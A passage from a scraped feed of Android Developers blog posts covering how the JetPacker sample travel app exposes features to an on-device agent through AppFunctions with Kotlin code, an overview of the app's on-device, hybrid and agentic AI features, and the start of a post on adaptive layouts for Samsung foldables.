href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

<p>With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.</p>

<div class="separator">
  </div>

<h2>Rethink layout architecture for dynamic displays, including ultra-wide foldables</h2>

<p>Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">dedicated guidance for building for landscape foldables and trifolds.</a></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1302/Samsung%20fold8%20phones.png"><img border="0" data-original-height="442" data-original-width="1302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdDMq9mmhR2NzEVD5cgQgT3Y5DgMZOV5FrjsJb-wSiZVvJjIiDQuUkfv0cjBHQMREjOKPqz9n6wPf-x5Hn6H7uT2_JiXA3Nykcr1UwnwDRK9jGFurhTRKR-5t1BN62ISXFznXhQ_e-03Mo6uIh5-BDVmNbA1Q4RY9rSg4VxBO0K6E6Dc4kViNpvuYefY/s1600/Samsung%20fold8%20phones.png"></a></div><br><p>To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:</p>

<p></p><ul><li><b>Build fluid, adaptive layouts: </b>Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated <a href="https://developer.android.com/design/ui/mobile/guides/layout-and-content/adapt-layout" target="_blank">adaptive design guidance</a> advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our <a href="https://developer.android.com/design/ui/gallery/social/pawparazzi" target="_blank">adaptive sample app</a> and <a href="https://developer.android.com/design/ui/gallery/social/dual-screen?hl=en" target="_blank">dual-screen</a> design galleries.</li><li><b>Track actual app space:</b> Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage <a href="https://developer.android.com/develop/adaptive-apps/guides/use-window-size-classes?hl=en" target="_blank">Window Size Classes</a> using the <a href="https://developer.android.com/blog/posts/jetpack-window-manager-1-5-is-stable" target="_blank">Jetpack Window Manager library</a> to calculate the exact space your app occupies.</li></ul><div><br></div>
  
<div class="separator">
